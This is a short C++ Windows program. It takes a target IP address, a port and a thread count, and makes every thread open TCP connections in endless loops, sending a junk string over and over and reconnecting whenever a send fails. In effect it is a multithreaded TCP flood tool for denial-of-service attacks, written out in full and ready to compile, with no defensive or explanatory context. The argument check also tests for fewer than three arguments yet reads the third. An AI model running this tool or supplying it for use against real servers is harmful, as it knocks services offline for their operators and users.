#include <Winsock2.h>
#include <stdio.h>
#include <iostream>
#include <thread>
#include <future>
#pragma comment(lib,"ws2_32.lib")
using namespace std;

int port;
char* ipadd;

void passage()
{
    while (1)
    {
        WORD wVersionRequested;
        WSADATA wsaData;
        int err;

        try
        {
            wVersionRequested = MAKEWORD(2, 2); // Using Winsock 2.2

            err = WSAStartup(wVersionRequested, &wsaData);
            if (err != 0)
            {
                continue; // Skip to next iteration to retry
            }

            SOCKET sockClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // TCP socket
            if (sockClient == INVALID_SOCKET)
            {
                WSACleanup();
                continue;
            }

            SOCKADDR_IN addrSrv;
            addrSrv.sin_addr.S_un.S_addr = inet_addr(ipadd);
            addrSrv.sin_family = AF_INET;
            addrSrv.sin_port = htons(port);

            // Connect to server
            if (connect(sockClient, (SOCKADDR*)&addrSrv, sizeof(addrSrv)) == SOCKET_ERROR)
            {
                closesocket(sockClient);
                WSACleanup();
                continue;
            }

            const char* message = "TCPpacTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackageTCPpackagekage";
            int messageLength = strlen(message);

            while (1)
            {
                try
                {
                    // Send data using TCP
                    int bytesSent = send(sockClient, message, messageLength, 0);
                    if (bytesSent == SOCKET_ERROR)
                    {
                        break; // Break inner loop to reconnect
                    }
                }
                catch (...)
                {
                    break; // Break inner loop to reconnect on any exception
                }
            }

            closesocket(sockClient);
            WSACleanup();
        }
        catch (...)
        {
            continue;
        }
    }
}

int main(int argc, char* argv[])
{
    std::vector<std::thread> threads;
    if (argc < 3)
    {
        cout << "Usage: " << argv[0] << " <IP address> <port> <threads>" << endl;
        return 1;
    }

    port = atoi(argv[2]);
    ipadd = argv[1];
    for (int i = 0; i < atoi(argv[3]);i++) {
        threads.emplace_back(passage);
   
    }
    for (auto& t : threads) {
        t.join();
    }


    return 0;
}